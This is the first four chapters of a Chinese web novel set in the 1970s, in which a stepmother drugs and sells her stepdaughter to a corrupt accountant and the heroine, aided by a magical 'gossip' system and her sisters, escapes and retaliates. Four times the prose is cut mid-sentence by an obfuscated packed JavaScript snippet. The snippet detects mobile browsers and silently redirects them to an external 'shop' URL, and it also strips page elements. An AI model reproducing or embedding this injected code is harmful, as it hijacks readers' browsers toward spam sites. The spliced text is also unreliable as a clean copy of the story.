《军嫂吃瓜日常[七零]》 1. 卖女 “翠柳!翠柳你醒醒!” 崔六穿着打满补丁的衣服,狼狈地倒在磨盘旁边,额头上是殷红的血迹。 一个穿着新裙子长相刻薄的女人,正用力摇晃这个不听话的继女。 一边摇,一边掐,怕她真的死了,又怕她在装晕。 可恨这具身体被喂了药,拼劲最后一丝力气撞在了磨盘上,却再也没有力气挣扎了。 以至于崔六接管了这具身体之后,依旧绵软无力,只能做个待宰羔羊。 可她不想辜负翠柳姑娘拼劲全力保住的最后一丝自由,只能咬紧舌头,强行保持理智,抵抗着汹涌而至的昏沉。 那许春燕又晃了几下,还摸了摸崔六的鼻子,甚至去掐崔六的大腿根,崔六却依旧毫无反应。 这下许春燕放心了,还有呼吸,没死,不是装晕,是真晕。 她赶紧招呼旁边傻愣着的儿子,塞了五块钱过去:“快,青松,趁着这会儿大家都在午睡,找个牛车过来,把你四姐送去陈会计家里。等到生米煮成熟饭,她再撞死也就不怕了。” 起码人是死在陈会计家里的,跟他们闵家没关系。 到时候别说陈家要不回彩礼钱,还得赔她一笔女儿的买命钱呢! 闵青松是闵铁牛婚内出轨许春燕生的,跟原配生的翠柳同岁,两人生日只差了一天。 作为家里唯一的儿子,他从小娇生惯养,穿得好,吃得好,还戴了手表,简直就是全家的祖宗。 他不知道他妈打的什么如意算盘,可他弄大了别人家姑娘的肚子,人家爸妈态度强硬,要求他月底必须掏出五百块彩礼钱,还要办酒席,领证结婚,不然人家要报警抓他去坐牢。 便赶紧哦了一声,跑去生产队看管牛车的张大爷家里,求他过来帮忙。 那张大爷本来不想作孽,可他孙子生病了,急等着用钱。 只能为了这五块钱折腰,转身招呼他婆娘赵大娘一起,架着牛车,顶着正午酷热的阳光,从生产队的牛棚里,往闵家赶去。 为了掩人耳目,许春燕还准备了几个麻袋,往里面塞了些稻草,假装让张大爷运送货物。 几个麻袋垫在最下面,人放在中间,上面再盖一块油布,妥了。 许春燕又塞了两个鸡蛋给赵大娘:“大娘,事成之后,我叫铁牛给你们家也弄点鱼打打牙祭。” 她男人闵铁牛是生产队队长,专门负责鱼塘的,偷鱼简直易如反掌。 赵大娘没说什么,却在半路停下,去她女儿家蹲了会茅厕。 出来后,车子继续向前,吱吱呀呀,在泥泞的乡村小路上缓慢蠕动。 没办法,前两天下过雨,路上全是坑坑洼洼的泥坑,时不时还有一条或斜着或横着的缺口,把个牛车颠得哐当哐当的。 倒是好事,颠了十几分钟,原本昏昏欲睡的崔六便恢复了一点知觉。 头顶蒙着油布,她快热化了,可惜她依旧浑身无力,也不知道许春燕到底给原身喂了什么。 不过她不会就这么任人宰割的,这条路很难走,她身下又垫着几个麻袋,麻袋里是比较松软的稻草,只要她趁着每次颠簸的时候,用力往车尾滑一滑…… 正想着,车子哐当颠了一下,崔六赶紧往车尾扭动。 很好,虽然没有直接把自己掀下去,起码挪动了一点了。 崔六再接再厉,每次颠簸,都离自由更近了一步。 终于,车子前面横着一条躲不过去的横向豁口,那是下大雨冲刷出来的,左边是人工水渠和稻田,右边是直通长江的大河。 崔六凭着翠柳的记忆,努力往左边靠近。 那驾车的张大爷也知道要小心,可是再小心,他也不能变出一条平坦的大路。 这不,就在他小心翼翼勒紧了缰绳,试图以最小幅度的颠簸越过这条坎时,老牛踩在了缺口旁边松软的沙土上,脚下一滑,整个牛跪在了缺口里面。 牛车也遭了殃,九十度倾覆在缺口那里,把已经滑到车尾的崔六直接扬了出去。 机会来了! 一落地,崔六便手脚并用地往旁边的水渠爬去。 这年头的水渠还都是土质水渠,两边长满了水草和卢苇、菖蒲等水生植物。 想躲起来还是比较容易的。 正好那对老夫妻倒在地上爬不起来,崔六便咬紧牙关,奋勇向前,很快便扑到了水边,扒拉着卢苇、菖蒲,往自己身上盖去。 哪怕卢苇的杆茎划破了手掌,她也没有停下。 终于,崔六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501363|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得差不多了,她倒在水边,透过卢苇和菖蒲的缝隙,看着头顶的蓝天,屏息凝神,装死。 很快,路上的老夫妻哼哼唧唧地爬了起来,张大爷最是着急,生怕到手的五块钱飞了,赶紧拉着赵大娘找人。 刚找到水渠边,便看到一条浑身布满三角形斑纹的毒蛇,昂着脑袋,吐着蛇信子,在那里耀武扬威。 吓得老夫妻俩尖叫一声,拔腿就跑,连倒在地上的牛车也顾不得了。 脚步声远去,崔六暂时松了口气,却依旧躺在水边,等药效慢慢过去,再做打算。 正恍惚,那条毒蛇嘶嘶的跑了过来,化作了一个小小的年糕团子,跳在了崔六的心口:“宿主你好,我帮你赶走了那对老夫妻,我棒不棒!” 崔六有气无力的:“棒!你谁啊?” “我是你的吃瓜红包系统,今后不管风风雨雨,我都会陪你一起面对!让我们在这个物资匮乏的世界愉快的生活下去吧!” 这家伙奶声奶气的,很是兴奋,崔六却还是很累,她没有多问,只叮嘱道:“那你帮我看着点周围,我稍微休息一会儿。” “不用麻烦哦宿主,我有新手礼包给你,请选择!” 话音落,崔六的脑子里便出现了几个红包,分别是:【一键呼救】【一键脱困】【一键满血】。 崔六穿过来之前是星舰指挥官,因为爆炸事故,被埋在庞大的废墟下面,挖了半个多月的逃生通道都没有挖通,最后活活饿死了。 鉴于这样的经历,看起来一键脱困更合适一点。 可是脱困之后呢?她还是浑身无力,头上还有伤,手上也全是血。 至于一键呼救,那也是被动等待救援的选项,不是她的作风。 那就一键满血吧,满血之后怎么脱困,她可以自己想办法。 很快,那种浑身绵软无力的感觉便消失了,额头和手心也不疼了。 就连大腿根和胳膊上被许春燕掐的几处痕迹也消失了。 崔六虽然看不见,但她可以感受到痛感的消失。 看来这小系统还挺厉害的。 她松了口气,刚准备爬起来逃跑,便听到远处传来了焦急的呼唤声。 只得暂时按兵不动,以不变应万变。 2. 反击 那呼喊声越来越近了。 赶到牛车倒地的位置时停了下来,颠簸造成的车铃铛声也戛然而止。 三个年轻的女同志,全都穿着打补丁的衣服,家中地位可见一斑。 三人着急忙慌地跳下车,围着事故现场开始了讨论,最终沿着地上拖动的印记,找到了左侧的水渠旁。 可是茫茫的一片水域,哪有一点人影? 大姐闵红梅焦急地呼唤着:“翠柳?翠柳你在哪儿?是我啊,你二姐三姐也来了。” 原来是三个姐姐找过来了,芦苇荡里的崔六终于松了口气。 年糕团子赶紧提议:“宿主,需要给你恢复原来的受伤状态吗?” “好。”刚才是为了脱困,带伤不便,现在姐姐们来了,肯定会报案,留着伤口才有说服力。 崔六自然同意。 下一秒,她便成了个浑身是伤的小可怜,头破血流,面色苍白。 崔六正准备从水里起来,心细如发的老三闵金菊便发现了什么,指着芦苇荡喊道:“大姐二姐,快看,那里有只脚!” 老大闵红梅顺着她指的方向看去,果然! 赶紧弯腰卷裤腿,没想到老二闵橙萱先她一步,直接跳了下去。 溅起的水花砸了闵红梅一脸,她也不讲究了,跟着往下跳。 只剩老三,在岸上警惕地瞭望着。 很快,姐妹俩扒开芦苇荡,找到了水里躺着的崔六,赶紧扶她起来。 “翠柳!你没事吧?”闵红梅急得口干舌燥,“刚刚赵大娘的女儿去绣房说你出事了,魂儿都给我吓飞了。” 她赶紧丢下手里的绣绷,从绣坊赶去了隔壁的裁缝铺,叫上在那里加班的二妹,和暑期过来帮忙的三妹,一起往公社方向赶来。 谢天谢地,可算赶上了,事情还没有一发不可收拾。 现在,她看着浑身是伤的妹妹,急得眼泪哗的一下涌了出来,噼里啪啦往下砸。 崔六赶紧安慰她:“姐我没事。” 可是这句安慰,换来的却是大姐的嚎啕大哭。 也难怪,自打亲妈失踪,这个妹妹就是她亲手带大的,感情非比寻常。 崔六搂着她的肩膀,耐心等她平复心情。 旁边的闵橙萱没有说话,松开崔六,扭头爬上岸去,几步快走到牛车旁,把那麻袋捡起来,抖干净里面的稻草,再取出腰间的针线包,拿出剪刀剪开麻袋,临时做了个遮掩的斗篷。 看着三个姐姐分工明确地照顾着自己,崔六忽然有些不忍心。 要说吗?她们疼爱的妹妹,芯子里已经换人了。 可以想象,她们一定会痛不欲生。 一向行事果决的崔六,生平第一次,做了个犹豫不决的怂包。 正考虑怎么开口,脑子里的声音响了:“宿主,你的上上辈子就是翠柳啊,不用觉得不好意思。” “什么?”这怎么可能呢?崔六搜罗了一下翠柳的记忆,真可怜,翠柳刚出生不久亲妈就失踪了,她们的老子假装找了几天,然后就放弃了。 不到一个礼拜,家里的女主人就换成了后妈许春燕。 要不是三个姐姐维护她,她都不知道能不能活到长大,为了不给姐姐们惹麻烦,翠柳压抑自己的喜怒哀乐,从不惹事,成了一个小怂包。 这完全不是崔六的作风。 当然,她不是说怂包一定不好,当局面对自己不利的时候,怂才是一种生存智慧。 可是崔六在星际是个雷厉风行、从不畏惧的悍将,怎么都没办法把自己跟翠柳联系起来。 算了,眼下不是纠结这个的时候。 大姐还在哭,崔六赶紧安慰她:“姐我真的没事,一点皮外伤而已,躲起来是怕许春燕找人抓我回去。” 闵红梅哭得更伤心了:“你呀你,从小就不想让我们担心,被六妹藏在被子里的蜈蚣咬了也不肯哭出声来,要不是六妹自己说漏嘴,我们还被蒙在鼓里。现在,你伤成这样,你居然说没事,你想急死我呀!” “姐……”看到闵红梅这么维护翠柳,崔六真的很感动。 这是她这个星际孤儿从来没有体验过的骨肉亲情,好羡慕。 赶紧挽着闵红梅的胳膊,撒娇:“姐,我好疼,你带我去处理伤口吧。” “这还差不多!以后可不许逞强了!”闵红梅反手扶着妹妹,往岸边走去,老三拉了一把,姐妹俩便上来了。 老二刚好做好了斗篷,赶紧拿过来:“翠柳,来,披上,你身上都湿透了,被人看光了就完了。” 崔六赶紧道谢披上,好奇道:“张丽怎么知道我被卖了?” “赵大娘告诉她的。”闵红梅暗暗庆幸,后妈虽然歹毒,可是后妈情急之下找的赵大娘还算有良知。 要不然,翠柳一定……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501364|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想到这里,闵红梅一阵后怕:“走,回家,找那个毒妇算账去。” “别!”崔六赶紧阻止,“大姐,许春燕肯定想好了说辞,就这么回去反倒不容易抓住她的把柄。” “那怎么办?”闵红梅虽然温柔贤惠,关心妹妹们,可她遇到事情往往想不到特别周全的办法,需要妹妹们的意见做参考。 不过老二一向不爱说话,她更喜欢直接行动,只能问老三。 老三在村小当老师,心细如发,应该会有不错的提议。 闵金菊提议道:“咱们去公社报案吧!我听说妇女主任是新调过来的,她肯定着急做出成绩,不会袖手旁观。公安特派员也有治安任务在身,这种买卖妇女的大事,宁可抓错了也要管,正好给县里上报,树立典型。” 好!闵红梅赶紧叮嘱老二老三这对双生花:“那你们带翠柳去我师父家处理伤口,太阳太辣了,我报了案再来找你们。” “大姐,你准备怎么说?”崔六赶紧抓住了闵红梅的衣袖,就这么报案吗?起码要沟通一下细节吧,比如赵大娘和张丽是救下翠柳的恩人,可是赵大娘偏偏跟张大爷一起干了运送被卖妇女的事情。 所以一定要提前给赵大娘定性,就说赵大娘是故意跟着张大爷,想找机会救下翠柳的。 不过,闵红梅没想这么多,她下意识看向了老三。 闵金菊提出了跟崔六一样的顾虑,最终姐妹四个意见一致,一定要保护赵大娘,要不是她通风报信,张丽不可能及时通知到闵家三姐妹。 商量妥当,崔六又提出了一个问题:“大姐,人家问你,你妹妹找到了吗?你怎么说?” “找到了呀。”闵红梅一脸的茫然,“还能怎么说?” 老二老三对视一眼,齐刷刷看向了崔六,姐妹三个一起摇了摇头。 崔六干脆道:“我躲起来,事情闹大了才不好糊弄。” 老三欣慰地笑了,这个老四,终于有长进了,忍不住附和道:“对,陈会计等不到你的人去,一定会找许春燕要人。到时候不需要我们提供证据,他们自己就会狗咬狗,不打自招!” 闵红梅恍然:“好,走吧,我师父孙阿姨你们知道的,她跟她女儿住在一个单独的小院子里,有房间,有床铺,她们绝对不会出卖我们。” “那走!”太阳火辣辣的,崔六也不忍心让三个姐姐跟着自己暴晒,便赶紧出发了。 3. 抓人 闵红梅跟她师父的女儿孙婕说明来意。 孙婕赶紧把崔六拽了进去,关了门,揭开斗篷,孙婕看着浑身是伤的崔六,很是愤慨:“哎呀妈呀,怎么摊上这种事了?真的是陈会计吗?” 闵红梅点点头:“千真万确。死秃头,打跑了两个老婆,还敢肖想我妹妹,看我怎么收拾他!” 孙婕义愤填膺:“赶紧报案把他抓起来,买卖妇女可是重罪!”说着她握住崔六的手,“翠柳你别怕,有我跟你孙阿姨呢。等着,我给你拿医药箱和换洗衣服。” 崔六很是感激地点了点头:“谢谢姐姐。” 闵红梅很信任孙婕,赶紧招呼双生花妹妹一起走。 老三却不肯:“大姐,等会再报案,那陈会计肯定跟许春燕约定了时间,可是我们不知道具体几点啊。不如你们先去盯梢一会儿,等他出发去了咱们村,你们再去报案。我留下来陪翠柳,她一向胆小,万一有个什么风吹草动,有我在,她会踏实一点。” “也好。”闵红梅没意见,老四确实太胆小了,需要姐姐们的照顾。 便跟老二一起,去陈会计家附近转转,见机行事。 闵金菊把门锁好,帮崔六处理好伤口,便转身拿起崔六换下来的衣服,趁着中午太阳好,赶紧洗洗晾了,再帮孙师傅家里收拾收拾院子,整理整理厨房。 孙婕怪不好意思的,她爸爸原本是公社的生产组组长,因公牺牲后,就只有她和妈妈相依为命。 她妈妈疼爱她,舍不得让她做家务,她连做饭都只会下面条。 现在看到闵金菊忙里忙外的,不禁感慨,难怪许春燕死活不肯让几个继女嫁人呢,又勤快,又有本事,又孝顺,许春燕肯定要可着劲的吸血啊。 光是老大闵红梅,在绣坊一个月的收入就很可观,除去上交给公社算工分的那一部分,剩下的都被那对夫妻找各种借口要走了。 老二在裁缝铺,老三在村小,都是好职业,稳定收入,却都跟老大一样,分毛不剩。 按理说,拿了女儿的工资,有点人性的起码要让女儿穿得体面一点吧? 可是不行,那许春燕就是个铁母鸡,好像四个继女穿得破破烂烂她才解恨。 也不知道人家原配哪里招惹她了,要在原配失踪后这么欺负人家的女儿。 孙婕看着拿起毛笔,帮她家柜子描摹褪色图样的崔六,小声问道:“翠柳,你的工资也都上交了吗?” 崔六摇了摇头,画画的这段时间,她已经梳理过翠柳的记忆了,翠柳只是表面上怂,实际上还是挺有主意的。 翠柳天赋异禀,被公社请了去做画匠,专门给一些家具、摆设画图案,收入也非常可观。 可以这么说,要不是许春燕为了五百块彩礼把她卖了,就凭公社主任对她的赏识,用不了多久,她就能正式获得公社社办机构的编制了。 到时候身份不一样了,她就可以给姐姐们介绍几个好对象了。 姐姐们结婚也不会太寒碜,因为她每次接过报酬的时候,都会跟对方抹眼泪,哭诉后妈把她的三个姐姐逼成了老姑娘,不让嫁人。她希望对方撒个谎,就说工钱给得不多,这样她们姐妹不至于一点底气都没有。 所以整个闵家九口人,只有翠柳自己知道,她已经是个小富婆了。 现在孙婕问收入的事,并不是为了八卦,而是出于关心。 崔六看着孙婕头顶飘着的吃瓜红包,小声道:“我藏了私房钱,给姐姐做嫁妆的。你要帮我保密啊。” 孙婕紧绷的表情忽然松开了,忍不住笑着捏了捏崔六的脸颊:“你个小机灵鬼,公社的人都说你是个哭包,没想到你还挺有主意呢!怎么做到的?是不是跟家里撒谎了?” 崔六点了点头,孙婕更是放心了,忍不住竖起大拇指:“你是这个!以后帮我劝劝你大姐,要跟你学学,为自己打算。她都二十七了,再拖下去……哎。” 崔六明白,不光是大姐,双生花姐姐也二十五了,在农村可是大龄剩女。 她认真地点头:“放心吧姐姐,我会的。” 孙婕相信她,转身道:“你忙吧,颜料都在桌子上,我给你们切西瓜去。” 崔六趁她转身,赶紧点开了一个名为“陈凯旋”的红包:“小系统,这东西怎么用?” 脑子里的声音赶紧提醒她:“宿主,这是吃瓜红包!这个小姐姐脑子里有很多八卦哦!也有你想知道的情报!” 真的? 崔六赶紧研究了一下这个红包怎么使用。 简而言之,崔六周围的人,如果知道一些其他人的八卦,都会被系统检测到。 瓜主的名字会出现在红包封面上,但是具体内容,需要拆开红包后才知道。 拆红包的同时,会有一个属于“发现”阶段的奖励,同时会激活一个吃瓜进展的进度条,如果一个瓜有始有终,尘埃落定的那一刻就是结算的时候。 红包会合上,变成礼盒,打开后里面就是这次吃瓜的“结算”奖励。 奖励分为实物奖励,和虚拟奖励瓜币,瓜币可以在系统商店里购买物品。 如果崔六分身乏术,追踪某个瓜心有余而力不足,可以把这个吃瓜红包分享给其他人,让他们帮忙追踪,最终的结算奖励会根据贡献多少进行分配,这类奖励属于“追踪”奖励。 崔六作为系统绑定的对象,自然是分发红包的那个人,所以不管她出了多少力,都会有一份基础的保底“分瓜”奖励。 崔六看完详细的介绍,不禁笑了,这不就相当于工作外包吗? 可以,系统也与时俱进了。 最后还有一个补充说明:宿主本身的任何八卦都不会在任何人的红包上显示。宿主和其家人的头上也不会显示任何红包。 行吧,算是对亲属关系的一种保护吧。 目前孙婕脑袋上飘了十几个红包,看来这个姐姐知道不少八卦,其中有三个都是关于陈会计的。 这人是个秃头,今年三十一,有过两段婚姻,一段四年,一段六年,但都没有孩子。 因为生不出孩子,陈会计总觉得自己娶了不下蛋的母鸡,便拿老婆撒气,还到处偷腥。 为了减少麻烦,他专挑那种丧偶寡居的,或者离婚没有再嫁的,亦或是夫妻两地分居的少妇。 除了作风问题,他还中饱私囊。 别的不说,光是三年前的洪灾,救灾物资,灾后重建的救援款项,以及灾后减免的公粮……这些都被陈会计做了文章。 他真是吃得肠满肚肥,简直罪大恶极!” “姐,陈会计的后台是谁?”这个瓜非常重要,这已经不是一般的挪用公款了,这是相当严重的的经济犯罪,可以吃枪子的那种。 孙婕捞起井里的西瓜:“县革委会肖主任。” 崔六有点意外,那暂时是惹不起的。 行,那就只用作风问题,把陈会计拉下马。 * 下午四点多,时间不早了,陈会计在家里,死活等不到许春燕送人过来,只得推着自行车出门。 右腿一跨,便往南边的碧云村赶去。 在对面榕树上藏着的姐妹俩赶紧跳了下来,一个去找妇女主任,一个去找公安特派员。 妇女主任王霞非常重视这件事,找了公社两个办事员跟着,火急火燎地赶去了碧云村;公安特派员朱玉民则去附近村镇找了几个民兵一起行动。 下午五点,陈会计在闵家闹着要人。 几个房间都搜了一遍,还是不见人影,只能拿出杀手锏,让许春燕还钱。 许春燕可是出了名的许扒皮,进了她兜里的钱,除了她的儿子女儿,谁也别想掏一个子儿出来! 但见她双手叉腰,一副死猪不怕开水烫的蛮横模样:“你有没有搞错?那个死丫头不肯去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501365|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我这才给她水里加了安眠药,让张大叔帮忙运出去。人我送出去了,钱也给了张大叔,现在人没了,你应该找他去啊!” “凭什么找他?我可没有让你找他送人去我家!”陈凯旋再结就是三婚了,请婚假都请不下来,今天特地请的病假,谎称自己要做男科检查。 公社那边不得不批,没办法,大家都知道他结婚十年都没有孩子。 实际上,他是在家里等许春燕送人过来,到时候直接把事办了,免得夜长梦多。 没想到钱花了,人没来,他当然要闹。 那可是五百块呢! 可是这五百块,许春燕比他还稀罕呢!她就这一个宝贝儿子,她才舍不得让儿子去坐牢呢。 现在陈凯旋急赤白脸的来要钱,鬼知道是不是陈凯旋把人藏起来了,想白得一漂亮媳妇! 许春燕冷笑一声,不客气道:“这不对啊陈会计,都说你一毛不拔,你这次居然舍得花五百块娶媳妇?你不会是故意演戏给我看的吧?说,你把我家翠柳藏哪儿了!你今天不把她叫过来说清楚,我就报案!” 陈会计急了,压低了声音质问道:“你报!你报!你买卖妇女!你以为你能脱得了身?” 许春燕不客气道:“什么买卖?那是彩礼钱!我养她这么大,她喝西北风长大的吗?总之我确确实实把翠柳交给张大叔给你送过去了!我还怀疑你跟张大叔串通一气,想把这五百块讹回去呢!” 陈会怒火中烧,骂道:“你个破鞋,别以为我不知道你破坏别人的婚姻,做过见不得光的第三者!你男人的原配为什么无缘无故失踪了?还不是因为你怀了他的孩子,跟他原配生孩子的时候撞上了!有你没她!有她没你!我说的对吗!” 许春燕愣住了。 这是二十几年前的事了,他怎么知道的? 慢着!这男人也许是在诈她!毕竟村里人眼红她有四个便宜女儿可以使唤,没少嚼舌根。 她不禁冷笑一声:“少在这里大放厥词!那个女人没有失踪,她是自己命不好,难产死的!一个短命鬼而已!关我什么事!说她失踪了,不过是给那四个赔钱货一点念想。好了,人不在我这,你走吧。再不走别怪我去公社举报你挪用——” 话音未落,院门口进来几个人。 许春燕一看,公社妇女主任?公安特派员? 完了!这事邋遢了! 不等两人反应过来,听完了吵架过程的王霞和朱玉民,对视一眼:完了,真的是陈凯旋。 王霞犹豫了片刻,还是把朱玉民拽到一旁,问道:“你敢不敢得罪县里的那位?” 朱玉民是个刚工作三年的年轻人,看不惯那些官官相护的龌龊交易,但他也知道,县里那位确实不好惹。 陈凯旋作为那人的妻弟,真要是出了什么事,那人的脸上也挂不住。 不过,纸是包不住火的,在找到翠柳之前,只能先把人抓起来,要不然,事情传出去,两人的工作不保。 于是他郑重地点点头:“敢不敢都得抓!” 好!王霞点点头:“行,我去找翠柳。” 只要能把人找回来,一切好说,找不到人的话,那就棘手了。 很快,陈凯旋和许春燕都被民兵带走了,分开关,一个一个审,免得他们串供。 朱玉民则留下,进行现场勘验,再把院子里刚刚擦拭过的磨盘进行血液采样。 许春燕百密一疏,没想到磨盘底部还残留了一些血迹,正好被朱玉民发现了。 至于这些证据最后能不能落到实处,就要看县里的那位会不会插手了。 闵红梅跟闵橙萱对视一眼:计划成功! 走,找爸爸去。这么大的事,他到现在还不知道呢。 如果他连这种事都包庇许春燕,她们一定不会善罢甘休的! 她们受委屈不要紧,翠柳受委屈?不行! 4. 秘密 闵铁牛并不知道许春燕已经弄到钱了。 他为了给儿子凑彩礼钱,今天特地去大舅哥家借钱。 平时他那四个女儿的工资都被许春燕把持着,不用问也知道,肯定贴补娘家了,要不然,她也不至于拿不出钱给四个女儿买衣服。 可惜大舅哥装傻充愣,说没得过许春燕的好处。 最终闵铁牛软磨硬泡,只借到了五块钱,气得他不轻。 正生气呢,回来的路上又遇到两个哭红了眼睛的女儿。 一问才知道,他老婆卖了老四,被公安特派员带走了,气得他两眼一黑。 这败家娘们儿,明知道老四是被他们调包的首长闺女,得找个体面人家嫁了,不能卖。 万一以后东窗事发,老四也能帮他们说说好话。 到时候他们有一个在首长家金尊玉贵养大的亲闺女,又有一个念着他们养育之恩的首长闺女,这日子想想就滋润。 现在好了!一意孤行!给他捅这么大篓子! 不行,他得赶紧把老四找回来! 先回去看看吧,那孩子一向胆小,说不定已经回来了呢? 到家一看,哪有翠柳的影子? 唯一的宝贝儿子闵青松倒是在家,正趴在地上钓骆驼虫,看到爸爸和姐姐回来了,一个劲地抱怨没饭吃,肚子饿。 闵铁牛只有这一个宝贝疙瘩,只得命令两个女儿生火做饭。 闵红梅气死了,说什么也要去找翠柳,闵橙萱一向紧跟大姐的脚步,也要走。 气得闵铁牛看了眼身后的椅子,捂着心口,直挺挺地倒了过去。 两个女儿吓傻了,以为他心脏病犯了,只得妥协。 做完饭,姐妹俩头也不回地走了。 闵铁牛跟了出去,刚到门口,他跟许春燕的两个小女儿回来了。 两人都穿着最时髦的新款连衣裙,脚上都是昂贵的小皮鞋,进来的时候,手腕上的女士手表反光在墙上,跟着她们的脚步不断移动。 一看就是苦了姐姐幸福了自己的吸血鬼。 老六闵蓝芙在卫校上学,明年毕业,老七闵紫蓉被推荐去了县里念高中,下学期高二。 眼下姐妹俩正在家里过暑假,白天都在外面玩,到了饭点才回来。 老六一进门就嚷嚷:“爸,我听同学说我妈被公安特派员带走了,出什么事了?” 老七则默不作声地跟在后面,阴沉着一张脸,盯着自己的爸爸。 闵铁牛虽然偏心他跟许春燕的几个孩子,可他很不喜欢老七的这张臭脸,顾不得回答老六的问题,直接训了老七:“谁又惹你了?嗯?整天摆一张臭脸,我是你老子,不是你儿子!” 老七脾气不小,冷哼一声,一言不发直接进屋去了。 老六撇撇嘴,解释道:“她今天遇到肖阿姨了,肖阿姨说你跟我妈已经点头了,等蓉蓉十八岁就跟肖阿姨的儿子订婚。爸,不是我说你,这都什么年代了,还搞包办婚姻啊?” 闵铁牛脸色一黑:“谁包办婚姻了?不过是大人们的玩笑话!” 老六耸耸肩:“行吧,走着瞧,看看到底是玩笑话还是真心话。好了,快告诉我,我妈到底干什么了?” “你妈收了人家五百块彩礼,把你四姐……”闵铁牛叹了口气,“行了,别啰嗦了,赶紧跟我一起去找人。” “找人?”老六一头雾水。 闵铁牛不想耽误时间,叫她边走边说。 走到门口路上,老六忍不住笑了:“什么?四姐嫁给了陈会计?那她完了。” 闵铁牛蹙眉,质问道:“还笑!她完了对咱家可没有好处!” “谁说的?我看她完了才好呢。”老六长得还算漂亮,但是跟她四姐一比,那就不算什么了。她从小见不得四姐好过,现在四姐嫁给了那么一个男人,她自然幸灾乐祸,忍不住嘀咕道,“听说陈会计还会打女人,要是四姐也生不出孩子,搞不好会被他打死哎。要是四姐死了就好了,咱家就没后顾之忧了。” 闵铁牛不傻,一听就知道这个女儿是什么意思,忍不住脸色一黑:“阿芙,胡说什么呢?管好你的嘴巴!” 闵蓝芙不忿地撇撇嘴巴:“别人又听不懂。” “还犟嘴,小心祸从口出。”闵铁牛急死了,自从这丫头偷听墙角,知道了老四的真实身份,就总是针对老四。 这么下去可不行! 万一首长那边什么都没发现,结果闵家这边自己把消息抖出去了,那不是找死吗? 他很生气,飞了个眼刀子过去。 闵蓝芙却不吃他这一套,冷哼道:“有什么大不了的,反正你跟你前妻的那个女儿现在也在过好日子,大不了到时候你跟她相认好了。有她做靠山,你怕谁啊。” “闭嘴!”闵铁牛急死了,赶紧扯了把闵蓝芙的衣袖,让她小心隔墙有耳。 闵蓝芙撇撇嘴,不说话了。 其实她是很佩服她妈妈的,怀了龙凤胎不说,居然有本事把原配的女儿替换成了自己的女儿。 当时准备打渡江战役,一起生产的还有一个首长夫人,为了紧急行动,首长只能拜托原配帮忙照顾一下他刚出生的女儿。 原配很快就被她妈妈给…… 等她妈妈做了闵家的媳妇,那两个女孩自然就成了她妈妈的女儿。 两年后,首长家来接闺女,她妈就把自己的女儿给送给了首长。 反正三个女娃一前一后出生,很好冒充的。 来接的时候又是幼儿状态,没长开呢,谁也看不出来。 总之,她其实是很羡慕首长家里的那个姐姐的,吃香喝辣,娇生惯养,她做梦都想过上那样的生活。 算了,谁让她晚出生几年呢,真讨厌。 她就这么不情不愿地跟着自己老子去借了自行车,一路往公社找了过去。 * 下午五点半,孙婕的妈妈回来了,看到徒弟的两个妹妹来家里做客,很是热情,赶紧出去买了换洗衣服和日用品。 吃饭的时候,孙婕把翠柳的遭遇告诉了她。 孙阿姨听完,气不打一处来:“那个小陈,真不是个东西!还好赵大娘良心发现。你们现在准备怎么办?” 崔六放下筷子,说出了自己的计划。 既然陈会计私生活不检点,那就放出风声,让他的那些女人们去陈家闹。 到时候影响大了,县里那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501366|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位想包庇也难。 反正私生活而已,只要不上升到什么裙带关系,利益交换,处理起来也容易。 孙阿姨一听,立马包揽了这个任务,反正她喜欢窜门唠家常,便端着饭碗出门去了。 崔六吃过晚饭洗过澡,跟三姐一起去孙婕家的西房照镜子梳头。 这原本是孙婕的闺房,不过今天孙婕跟妈妈睡。 崔六站在穿衣镜前,看着孙阿姨给她买的连衣裙,有点感慨。 “三姐,这个孙阿姨人真好,回头我们也扯几块布料子,让二姐给孙婕做两身衣服吧。” 